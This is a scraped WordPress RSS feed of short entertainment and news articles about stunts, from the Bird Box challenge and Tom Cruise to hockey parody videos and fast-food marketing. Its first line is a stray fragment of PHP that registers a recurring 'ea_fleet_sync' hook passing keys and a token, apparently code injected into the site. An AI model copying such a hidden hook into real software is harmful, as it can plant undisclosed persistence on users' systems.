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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Stunts – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 03 Jan 2019 03:37:49 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Stunts – Brief News https://briefnews.eu 32 32 'Don't try this at home!' Netflix warns viewers about imitating blindfolded Bird Box stunts https://briefnews.eu/dont-try-this-at-home-netflix-warns-viewers-about-imitating-blindfolded-bird-box-stunts/ https://briefnews.eu/dont-try-this-at-home-netflix-warns-viewers-about-imitating-blindfolded-bird-box-stunts/#respond Thu, 03 Jan 2019 03:37:49 +0000 http://briefnews.eu/dont-try-this-at-home-netflix-warns-viewers-about-imitating-blindfolded-bird-box-stunts/

Netflix warned fans of the new thriller Bird Box not to injure themselves trying to imitate the characters in the film by performing everyday acts while blindfolded. But did they invent the “Bird Box challenge” to begin with?

As the #BirdBoxChallenge went viral on Twitter, Netflix hastily reminded Bird Box fans not to injure themselves while cavorting around blindfolded like the characters in the film. Netflix, it seemed, had naively assumed people who subscribed to a streaming video service and watched dozens of films per month didn’t need to be reminded not to try the stunts at home. Sadly, they were wrong.

The “Bird Box challenge” dares fans to attempt everyday acts while blindfolded like Sandra Bullock’s character in the film. Marooned in a post-apocalyptic wilderness with two young children, she must cross a river and forest full of supernatural creatures that will cause her to commit suicide if she looks at them. Their blindfolds are all that protects the trio from certain death.

Things work a bit differently in real life, as fans soon found out…

As if it wasn’t dangerous enough to walk around blindfolded, some people added heavy artillery to the mix.

But most of the mentions seemed to be people mocking challenge participants…

…many of whom mentioned Tide pods.

And at least one person figured out that the Bird Box challenge was actually…an advertising campaign.

Netflix boasted last week that Bird Box was downloaded by a record-breaking 45 million accounts in its first seven days online, sparking furious debate over the future relevance of movie theatres in a world where a film most people hadn’t even heard of til it appeared on their Netflix accounts can rival big budget blockbusters in a hypothetical box-office matchup (one industry analyst calculated the film’s earnings – if it had been released conventionally – at about $ 700 million for the week, while superhero film du jour Aquaman had only grossed $ 629 million as of last week).

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]]> https://briefnews.eu/dont-try-this-at-home-netflix-warns-viewers-about-imitating-blindfolded-bird-box-stunts/feed/ 0 Recommended Reading: Mid-Terms, Morose Pop, and Publicity Stunts https://briefnews.eu/recommended-reading-mid-terms-morose-pop-and-publicity-stunts/ https://briefnews.eu/recommended-reading-mid-terms-morose-pop-and-publicity-stunts/#respond Fri, 09 Nov 2018 20:09:00 +0000 http://briefnews.eu/recommended-reading-mid-terms-morose-pop-and-publicity-stunts/ Modern online media is all about the signal boost, so every Friday here at Flavorwire, we take a moment to spotlight some of the best stuff we’ve read online this week. Today, smart takes on Tuesday’s mid-term elections, a round-up of old-school movie hucksterism, and a investigation of what happened to pop-y pop music. 

Kristin Hunt on classic Hollywood publicity stunts.

Movie marketing has become quite the color-inside-the-lines endeavor: teaser, trailer, TV spots, print ads, “viral videos.” It’s effective, predictable, and boring. At Vulture, Hunt casts an eye back at the good ol’ days of ballyhoo, in which publicity men hailed not from Wharton but the midway, and sold their pictures accordingly:

In this ’50s thriller, Joseph Stalin never died. It was all just a ruse to give the Russian dictator cover to flee to a secret hideaway, with a brand new face from a plastic surgeon. But before making his escape, Stalin punishes a young prisoner by shaving off all her hair. This scene serves as the opening to The Girl in the Kremlin, which Universal promoted by shaving heads on the street. At San Francisco’s Golden Gate Theater, a 24-year-old housewife and mother named Patricia Smith hopped in a barber chair for a dramatic haircut. Universal gave her $ 300 for letting them shave her head as the cameras rolled — and a wig to wear until her hair grew back.

Jayson Greene on morose pop.

“Aren’t pop songs generally meant to lift us up?” asks Pitchfork’s Greene, noting that the current Billboard charts are dominated by music that “sounds submerged, cloudy, groggy, pained, dour,” full of lyrics concerned with misery and despair. “How and when did things turn so morose?” he asks.

The armchair-cultural-anthropologist answer is the easiest one: Everything is garbage! Who wants to celebrate when the world is crumbling? It’s a seductive explanation. After all, many of us are currently grappling with the reality that the Earth will probably be partially drowned within the next four or five presidential administrations (assuming presidential administrations keep happening). Despite whatever famed optimist and Harvard cognitive scientist Steven Pinker might be peddling, most of us, no matter our politics, are united by the overwhelming sensation that Things Really Aren’t Going Great. As citizens, we are more pessimistic, more distrustful, more anxious. We are angrier. We are more fearful.

In this sense, the pop charts are just mirroring back our internal climate. Wouldn’t it make sense that we wouldn’t be clamoring for FUN! to run around screaming in our faces? When confronted with terms like “climate genocide,” who really wants to party like it’s their last night on Earth?

The Onion does Election Day.

One reason for our perpetual moroseness: our politics! We had a big mid-term election on Tuesday (hope this isn’t news to you) and, as usual, The Onion was right on their game; this particular “news in brief” item has held up all week, what with the extended battle for the Georgia governorship and reports of voting irregularities across the state:

LAWRENCEVILLE, GA—Insisting that the machine was operating exactly as intended, Georgia election worker Mitchell Hamlin reportedly assured a black man on Tuesday that the ballot scanner was supposed to sound like a shredder. “Don’t you worry, it’s designed to sound like it’s ripping your ballot into thousands of tiny pieces,” the election worker informed the middle-aged African American resident, adding that it was merely a coincidence that several white voters in front of him had been directed to insert their ballots into a different scanner. “You should absolutely be hearing a constant whirring and shredding sound—that’s the machine’s way of telling you that your vote counts. And that bucket below where the ballot scanner is dropping strips of paper? That’s simply the machine producing a receipt so we know it went through to the right place. Congratulations, you definitely voted today.” At press time, Hamlin stated that he could also confirm the man’s registration for the 2020 election if he just handed over his driver’s license.

Jamelle Bouie on why young people don’t vote.

In election after election, we see horrifying statistics of low turnout among the youngest of eligible voters. They’re usually shamed for it, and to some extent, that’s appropriate. But over at Slate, Bouie digs deeper, examining how much of the inherent qualities of life for millennials translate into difficulty participating in a system that doesn’t seem all that interested in including them:

With each account, we have a different example of how our voting system doesn’t actually encourage voting, especially among people whose lives are a defined by a certain amount of instability and unpredictability. Look beyond young adults to the larger population of nonvoters and you see a significant group whose lives are marked by traits associated with a lack of stability. They are less likely to have college degrees, more likely to have family incomes below $ 30,000, and more likely to belong to racial and ethnic minorities, making them more likely to experience conditions associated with instability.

Our system has adopted universal suffrage, which points toward open and easy access to the ballot, but our heritage in political exclusivity—where voting was once a privilege reserved for property-owning white men—continues to influence our handling of elections. Voter identification laws are tied to a sordid history of discrimination and vote suppression, but even procedures as uncontroversial as voter registration contain assumptions about who should participate. (Indeed, voter registration was first developed as a method to keep recent immigrants and the poor from the ballot box in Northern cities and was used similarly against black Americans in the Jim Crow South.) Our voting system is tilted toward people with stable, conventional lives. And that, overwhelmingly, is who participates, producing a conservative bias in the status quo.

                

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]]> https://briefnews.eu/recommended-reading-mid-terms-morose-pop-and-publicity-stunts/feed/ 0 China’s newest 5th-generation stealth fighter jets perform stunts during airshow (VIDEO) https://briefnews.eu/chinas-newest-5th-generation-stealth-fighter-jets-perform-stunts-during-airshow-video/ https://briefnews.eu/chinas-newest-5th-generation-stealth-fighter-jets-perform-stunts-during-airshow-video/#respond Tue, 06 Nov 2018 16:16:50 +0000 http://briefnews.eu/chinas-newest-5th-generation-stealth-fighter-jets-perform-stunts-during-airshow-video/

Several cutting-edge J-20 fighter jets have made a rare appearance in China, performing at the opening of the country’s largest airshow. The planes have proved to be truly “stealthy,” mostly avoiding the camera since their launch.

The airshow kicked off in the coastal city of Zhuhai on Tuesday and will last until the end of the week. Three 5th-generation J-20 fighter jets performed at the opening ceremony, providing an unique opportunity to take videos and snap pictures of the secretive Chinese aircraft.

The cutting-edge planes are seen flying in formation, making sharp high-speed turns and showing off amazing agility. The machines then break the formation and perform tricky solo stunts.

READ MORE: China’s newest J-20 stealth fighter makes rare appearance in the sky (VIDEO)

The J-20 has been in development since the late 2000s and was officially unveiled back in 2016, making a very brief appearance at an airshow. The planes entered service in March 2017, yet the stealthy aircraft is still rarely seen in public. Apart from J-20s, an upgraded J-10B fighter jet has also performed during the airshow’s opening ceremony.

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]]> https://briefnews.eu/chinas-newest-5th-generation-stealth-fighter-jets-perform-stunts-during-airshow-video/feed/ 0 The Morning Watch: Tom Cruise Edition – ‘Mission: Impossible’ Scene Breakdown, Near-Death Stunts & More https://briefnews.eu/the-morning-watch-tom-cruise-edition-mission-impossible-scene-breakdown-near-death-stunts-more/ https://briefnews.eu/the-morning-watch-tom-cruise-edition-mission-impossible-scene-breakdown-near-death-stunts-more/#respond Mon, 30 Jul 2018 12:03:00 +0000 http://briefnews.eu/the-morning-watch-tom-cruise-edition-mission-impossible-scene-breakdown-near-death-stunts-more/ Mission Impossible Skydiving Scene

The Morning Watch is a recurring feature that highlights a handful of noteworthy videos from around the web. They could be video essays, fanmade productions, featurettes, short films, hilarious sketches, or just anything that has to do with our favorite movies and TV shows.

In this edition, it’s all about Tom Cruise with a breakdown of an incredible stunt sequence from Mission: Impossible – Fallout, and a recap of some of the dangerous stunts that almost killed the actor on camera. Plus, the daring actor somehow convinces James Corden to go skydiving at 15,000 feet.

First up, director Christopher McQuarrie breaks down a skydiving sequence that might seem like it’s created entirely using visual effects, but Tom Cruise actually jumped out of a plane at 25,000 feet while a skydiving camera operator follows his every move. The camera operator even has to do things like pull focus while he’s falling through the damn sky.

Tom Cruise is known for doing his own stunts, but he hasn’t always walked away unscathed. In fact, there have been stunts that could have killed the actor on camera. This countdown includes stunts from Top Gun, Collateral, Edge of Tomorrow, The Mummy and more.

Speaking of Tom Cruise tackling stunts, he’s such an experienced man of action that jumping out of a plane at 15,000 is nothing to him. But to The Late Late Show host James Corden, it’s kind of a big deal. Watch as Cruise gets Corden to take the leap, and then jumps out himself in jeans and a sweater.

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]]> https://briefnews.eu/the-morning-watch-tom-cruise-edition-mission-impossible-scene-breakdown-near-death-stunts-more/feed/ 0 How The Rock did his stunts in “Skyscraper” https://briefnews.eu/how-the-rock-did-his-stunts-in-skyscraper/ https://briefnews.eu/how-the-rock-did-his-stunts-in-skyscraper/#respond Mon, 16 Jul 2018 12:51:17 +0000 http://briefnews.eu/how-the-rock-did-his-stunts-in-skyscraper/ See Also:

]]> https://briefnews.eu/how-the-rock-did-his-stunts-in-skyscraper/feed/ 0 Hot Wheels’ GoPro toy car captures sweet shots of your lil’ stunts https://briefnews.eu/hot-wheels-gopro-toy-car-captures-sweet-shots-of-your-lil-stunts/ https://briefnews.eu/hot-wheels-gopro-toy-car-captures-sweet-shots-of-your-lil-stunts/#respond Tue, 05 Jun 2018 23:11:11 +0000 http://briefnews.eu/hot-wheels-gopro-toy-car-captures-sweet-shots-of-your-lil-stunts/

How much do you love Hot Wheels? So much that you spend your days wishing you could ride that loop-the-loop yourself? Probably not, but Mattel has your back regardless. It just trotted out a Hot Wheels Zoom In car with a slot designed to accommodate one of GoPro’s Hero5 and Session action cameras — yes, you too can document your plastic track racing with a camera that costs exponentially more than the $ 1.09 vehicle underneath. If you’ve ever wanted to combine the thrill of first-person stunts with the fear of trusting an expensive gadget to the whims of physics, your dream machine is here.

Not that we should rain too much on your parade. If you already have a Session and loads of track space, this is a trivial way to experiment with your action cam when you’re not busy kayaking or mountain biking. It just makes less sense the other way around. And consider this: if you like the idea of recording a race but don’t relish the thought of visiting a real race track, this is still a helluva lot cheaper.

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]]> https://briefnews.eu/hot-wheels-gopro-toy-car-captures-sweet-shots-of-your-lil-stunts/feed/ 0 ‘Jurassic World: Fallen Kingdom’ Star Justice Smith on Terrifying Stunts and More Terrifying Dinosaurs [Set Visit Interview] https://briefnews.eu/jurassic-world-fallen-kingdom-star-justice-smith-on-terrifying-stunts-and-more-terrifying-dinosaurs-set-visit-interview/ https://briefnews.eu/jurassic-world-fallen-kingdom-star-justice-smith-on-terrifying-stunts-and-more-terrifying-dinosaurs-set-visit-interview/#respond Fri, 27 Apr 2018 18:02:43 +0000 http://briefnews.eu/jurassic-world-fallen-kingdom-star-justice-smith-on-terrifying-stunts-and-more-terrifying-dinosaurs-set-visit-interview/ Jurassic World Fallen Kingdom

In June 2017, I traveled to Honolulu, Hawaii to visit the set of Jurassic World: Fallen Kingdom. This week, we have been running a ton of coverage from this visit. It began with interviews with producers Frank Marshall and Pat Crowley, director J.A. Bayona, and stars Bryce Dallas and Chris Pratt. Today, it continues with new star Justice Smith.

What can you tell us about your character in this movie?

I play Franklin, an anxiety-ridden young man who is also a computer genius. He graduated top of his class at MIT. He’s the antithesis to Owen, essentially. He brings out all of Owen’s masculinity and strength and heroism by being so fragile and not that.

We’ve been told that your character is pretty comfortable in front of a computer and not anywhere else, so naturally you have to go on a dinosaur adventure. That’s gotta give you a lot of room to play a little more broadly than you usually get to.

Right. He also has a clear arc throughout the movie. He’s deathly terrified of going to this island, encountering these dinosaurs. Throughout all of that he toughens up a little bit because he has to.

You’re teamed up with Daniella [Pineda], right?

With Zia, yeah.

What can you say about the relationship between your two characters?

They have a fun back and forth with each other. They like to make fun of each other. She picks on Franklin for being a wuss. He doesn’t really pick on her. She kinda just picks on him. I think he tries. He’s just not equipped with being social. He tries to give it back to her and she always ends up shutting him down. That just represents the bond that they have. They’ve worked together for so long trying to save these dinosaurs.

Would you say it’s a brother/sister relationship or more romantic?

No, it’s not romantic. Not at all! Not in the slightest.

So, you’ve been trying to save these dinosaurs for so long, but have never met a dinosaur. When you finally come face to face with one, what happens?

Exactly what you’d expect: screaming and yelling and pissing your pants.

Do you have a lot of action in this movie?

I do a lot of stunts in this movie, which is surprising because my character… I think it’s set up like that intentionally because my character is someone who you would think is not physical at all and then is kind of forced to be in the movie.

It’d be funny if Chris doesn’t do much of anything in the movie and you get all the hero stuff.

[laughs] Just doin’ rolls and stuff.

We just saw the animatronic dinosaurs and if I was in the movie, my favorite part would be interacting with those on screen, but what was the thing that makes you go “Holy shit, what an awesome job I have!”?

That’s kind of how I feel every day. I’m always doing weird stunts that I never thought I’d be doing and also just being with the cast. They’re all so fun and witty. Chris is one of the funniest people I’ve ever met and Bryce is, like, the nicest and smartest person I ever met. Being around all these great people and working on something, trying to make it great. Is that a cheesy answer?

No, it’s a good answer! We hear you have a pivotal role in trying to find Blue. What can you tell us about that?

Franklin knows how to hack into the tracking system in order to find the dinosaurs. When he goes to the island I think that’s all he’s expecting to do, but as with every Jurassic Park movie things go wrong! He’s in a safe, enclosed room… I mean, he doesn’t feel safe ever, but yeah. He expects to go to this island, do his job and just fly off, but that not how it works out at all.

Bryce Dallas Howard: [On the other side of the tent flap] No, Justice, he expects for everything to go wrong and everything DOES go wrong.

We forgot to tell you that Bryce can hear everything you say. Sorry about that. Good thing you said very nice things about her.

Bryce Dallas Howard: Justice, I’m listening to my book on tape, I swear.

[laughing] Okay, that’s awesome.

Bryce told us that J.A. plays music during some takes. How’s that?

J.A. loves to scare me. My character is perpetually scared, so I guess he wants an authentic reaction, which I respect as an actor, but as a human being I hate it. He plays loud music when I least expect it. He won’t tell me! He’ll have things explode in my face and things explode around me just to freak me out so I’m really scared on camera.

I think that’s just what he’s telling you. I’m pretty sure he’s just fucking with you.

Yeah, “I’m not using any of that…”

Camera’s not rolling, buddy. Sorry to tell you.

I can’t wait to see the movie and all those scenes are cut.

J.A. always cuts to the core of a character emotionally and it’s always exciting to me when people like that do one of these giant movies because then I know there’s going to be some meat to it. Have you found that to be true with how he’s working with you on your character?

J.A. knows exactly what he wants, which I love because then I know exactly what I have to do and there’s no mystery about I have to do. I find myself trying to keep up with him sometimes because he’ll have an idea for a beautiful shot and he really wants to fulfill it and all his movies are so beautiful and so intense I’m like “I don’t want to mess this up!” I’m trying to do exactly what he wants, but I love how specific he is technically and visually.

When you auditioned for this role, did you know it was going to be Jurassic World 2 or were they hiding it?

Well, they hid it, but they don’t hide it well. [laughs] The sides I auditioned with were like “Oh my God, there’s a grizzly bear!” I was like “This is a T-Rex.” It wasn’t that inconspicuous.

What was your relationship with the Jurassic films before this?

I’m a big horror movie fan. Have you see J.A.’s movie The Orphanage?

Yeah, it’s awesome.

I love that movie. When I was a kid I used to watch all these crazy horror movies and my family would take road trips to Vegas – I’m from California – and we had a built-in DVD player in our van and we’d always watch all the Jurassic Parks in order on our trips to Vegas. Those are more suspense movies, but as a kid you’re like “This is a horror movie!” People are dying and dinosaurs were eating people. All my siblings would be too scared to watch it and I’d just be sitting there entranced. That’s my personal experience with them.

You’re right, that first movie especially plays like a horror movie. I remember watching it in the theater when it came out and people were screaming when the Raptor jumps up and barely misses Lex’s leg when she’s in the vent.

Yeah! Or with the T-Rex and they’re in the car…

How’s it like working with Chris? He’s improvisational and, you know, a little funny…

Just a little. He’s one of the funniest people I’ve ever met on and off camera. Most of the time I’m just trying to keep up with him. I think it’s similar to the way Franklin and Zia are in the movie. Franklin’s trying to keep up with Zia and off-camera I’m trying to keep up with Chris and his witty banter.

I’m seeing a pattern beginning to emerge here. You seem to be trying to keep up with a lot of people.

I’m trying to keep up with a lot of people. I’m really running, sprinting behind trying to keep up. I just try to give myself over to anything he does on-camera so I can make the shot work and be there for him. He’s an incredible improvisor and most of the time I end up breaking because he just makes me laugh. But yeah, I’m just trying to keep up.

I know we’re trying to avoid big spoilers here, but do you get to have any big scenes with some dinosaurs?

A few times.

Can you talk as much as you can about those moments?

Franklin gets into a lot of shenanigans. He gets into a lot of trouble and he has a very specific reaction to that trouble.

What’s it like doing those scenes on a technical level? I know some of your interactions are going to be with CG creatures, some with practical. How’s it working with each one?

It’s hard because they don’t really teach you in acting class how to act with a tennis ball, you know what I mean? Sometimes I like to pretend that my character is deathly afraid of tennis balls because it’s hard to fully picture the dinosaur, so I’m like “What if I make my character have this weird psychosis where he just hates green sticks and tennis balls?” Working with the animatronics is a lot easier because those things are so lifelike. They genuinely frighten me. Sometimes the guys operating it… there’s usually, like, 16 guys operating this thing and they all scare me, too. Everybody’s out to scare me and I don’t know why! Everyone likes messing with me!

We were disappointed that the T-Rex wasn’t here. We were told it’s huge.

I haven’t seen it.

You haven’t?

I wish, I wish. I hear great things about it. I’m in the same boat you guys are.

Well, I think you answered all our questions. I’m excited to see this scene you’re about to shoot. You’ve got an Indiana Jones scene coming up: you’re hanging off the back of a truck!

I know. I had to do this stunt earlier where I’m running an I had to jump onto this van and it’s the scariest thing I’ve ever done in my entire life. I only did it two times and my body went into shock.

So you’re saying they cast the right person to play this scaredy-cat character.

[laughs] Right!

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]]> https://briefnews.eu/jurassic-world-fallen-kingdom-star-justice-smith-on-terrifying-stunts-and-more-terrifying-dinosaurs-set-visit-interview/feed/ 0 How two maple syrup-guzzling hosers turned stunts with hockey stars into online gold https://briefnews.eu/how-two-maple-syrup-guzzling-hosers-turned-stunts-with-hockey-stars-into-online-gold/ https://briefnews.eu/how-two-maple-syrup-guzzling-hosers-turned-stunts-with-hockey-stars-into-online-gold/#respond Wed, 29 Nov 2017 01:28:26 +0000 http://briefnews.eu/how-two-maple-syrup-guzzling-hosers-turned-stunts-with-hockey-stars-into-online-gold/

Two long-haired, maple syrup-drinking hosers from central Alberta have had some of hockey’s biggest stars slam them in the chest with slapshots, tackle them to the ground and slay them in shootouts.

And they’ve captured it all on camera, racking up tens of thousands — and sometimes millions — of views for the videos in their online hockey advice parodies, On the Bench.

The series is the creation of two minor hockey coaches from Aidrie, Ryan Russell and Steve Campbell.

Evoking the spirit of iconic Canadian hosers Bob and Doug McKenzie, Russell plays Jacob Ardown, a former Virgin Island elite league star, and Campbell plays Olly Postanin, a former Bangladesh hockey league player.

They try to teach pro hockey players “the fundies” — fundamentals — of the game, although the series takes its name from the fact that they’re such bad players themselves that they’re almost always benched.

And they’ve convinced real NHL players to play along — including Johnny (Johnny Hockey) Gaudreau of the Calgary Flames, Connor McDavid of the Edmonton Oilers, Tuukka Rask of the Boston Bruins, Nathan MacKinnon of the Colorado Avalanche and Jack Eichel of the Buffalo Sabres.

  • Watch below as Olly and Jacob break down the ‘fundies of bench brawls’

“[Gaudreau] was kind of one of our first guys that we kept working back and forth with,” Campbell told the Calgary Eyeopener on Tuesday.

“He’s crushing it this year,” Russell said. “You’re welcome.”

“We’ll take full credit,” Campbell said.

Ardown to Johnny Hockey: ‘See if maybe the end of the season’s better for you, kid’

The videos range in length from about one minute to six or more in length. Sometimes they go a week or two without posting, other times they post a few in a week.

Yet they’ve managed to capture more than two million views for some videos on Facebook and as many as 75,000 views on YouTube, with about 300,000 followers on Instagram as of Tuesday afternoon.

The National Hockey League has even picked up the videos, posting some on their channel.

One shows a polite Gaudreau aiming for the crossbar. The two hockey coaches miss every one of their own shots.

“Maybe go up to 250 shots in the driveway or something, if your mom will let you, I’m not sure,” Russell said in character, before ignoring a fist pump offered by Gaudreau.

“See if maybe the end of the season’s better for you, kid.”

  • Watch Johnny Gaudreau shoot it out with the boys On the Bench

They get a little roughhousing in, too — like a slapshot to the chest by Tyler Toffoli of the L.A. Kings and a tackle by McDavid.

They even invented a challenge called “Grape Challie” for McDavid.

The two tied a grape to the top left corner of the net and McDavid shot and hit it.

For the Grape Challie with Connor McDavid, the two comedians tied grapes to net’s post.(On The Bench/YouTube)

“It was our breakfast that morning. It was great. We need the nutrients and what not, and we figured well, we’ll see if he can snipe them,” Russell said.

“It’s actually pretty insane what these guys can do.”

  • Watch Connor McDavid try to hit a grape tied to the net in On the Bench

Russell and Campbell say they got the idea for the show after noticing some of the 13- and 14-year-old players on the team they coach — Bantam AA in the Airdrie Minor Hockey league — were treating hockey like a job, training sometimes seven days a week.

“It was so business-esque … so that’s when we started in the practices … kind of horsing around in a way that speaks to the kids,” Russell said.

“So now when we see it, we see smiles, we see laughter. It’s like the passion’s back.”

“That’s what we’re shooting for,” Campbell said.

  • Watch Olly and Jacob break down the ‘fundies’ of the game

The teen players responded well, Campbell said, so they filmed their gag and the video took off online.

They say they hope to make enough money from online ads and merchandise to start a hockey school for underprivileged youth in Airdrie.

This week, they’re off to Vancouver to work with EA Sports, a video-game company.

The two say they’re not sure if they’ll be in a video-game.

“I don’t think that’s a good move on their part,” Russell joked. “But we’ll see how it goes.”

Ryan Russell, left, and Steve Campbell pose at the CBC Calgary studio. This week, they’re off to Vancouver to work with EA Sports, a video-game company.(Rachel Ward/CBC)

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]]> https://briefnews.eu/how-two-maple-syrup-guzzling-hosers-turned-stunts-with-hockey-stars-into-online-gold/feed/ 0 Transformers 5: WATCH Mark Wahlberg's death-defying stunts on set https://briefnews.eu/transformers-5-watch-mark-wahlbergs-death-defying-stunts-on-set/ https://briefnews.eu/transformers-5-watch-mark-wahlbergs-death-defying-stunts-on-set/#respond Mon, 16 Oct 2017 03:01:20 +0000 http://briefnews.eu/transformers-5-watch-mark-wahlbergs-death-defying-stunts-on-set/

Sure those robots are scary, but nobody wants to mess with the man formerly known as Marky Mark when he has his game face on.

Wahlberg and Bay teamed up with British actress Laura Haddock for the fifth instalment in the franchise and things clearly got a little heated on set.

To celebrate the digital and home entertainment release of the sci-fi blockbuster we have an exclusive sneak peek behind the scenes at the filming of some of the death-defying stunts.

It’s not just bodies and flames that fly through the air as profanities explode with abandon in a dangerous world where manly men (and women) don’t even stop for lunch.

WATCH THE ON SET VIDEO NEXT (WARNING: ADULT LANGUAGE)

The thrilling footage goes behind the scenes as some of the extraotrdinary stunts are filmed. A huge explosion erupts and shows that no special effects were need to singe off the audience’s eyebrows. In another, stunt men and women hurtle down a huge tilting alien set.

The producer K.C. Hodenfield sums it up when he says: “Okay, so today we didn’t break for lunch, but we had dust, we had fire, we had some smoke, it’s all good stuff.”

It’s all good stuff, indeed, but the best fun comes when the director and leading man trade insults…

Michael Bay shows he is a consummate profession when he says: “Rolling… Rolling… Oh f**k! It wasn’t rolling.”

Wahlberg replies: “Are we going that way?”

Bay shows him who’s boss when he growls: “Yeah m*therf*cker, sit the f**k down.”

This clearly isn’t the set of a genteel costue drama as the actor lets fly one last epithet. 

The actor adds: “Yeah, but you are gonna get my back. If you had any balls you’d drive infront of us backwards and get a face.”

TRANSFORMERS: THE LAST KNIGHT redefines the TRANSFORMERS franchise. Humans and TRANSFORMERS are at war, OPTIMUS PRIME is gone.

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Who doesn’t love a good, over-the-top marketing stunt? Recently we’ve seen a lot of those, including Pizza Hut’s Pizza Parka, a coat made out of the same insulating materials as its delivery pouches. Because why not? That ridiculous product from Pizza Hut shouldn’t come as a surprise. After all, this is the same company that made shoes that can order a pie for you. But Pizza Hut isn’t the only one trying to get creative using technology to promote its brand.

Over the past few years, other food chains, like Domino’s, KFC and McDonald’s, have also used tech as a marketing tool. The hope is that whatever they make, be it a delivery robot or a chicken box with a built-in charger, is ridiculous enough that it’ll go viral. Sometimes it does, sometimes it doesn’t. Either way, we’re here to show you a history of marketing stunts that have taken things too far. Or not far enough, depending on your taste.

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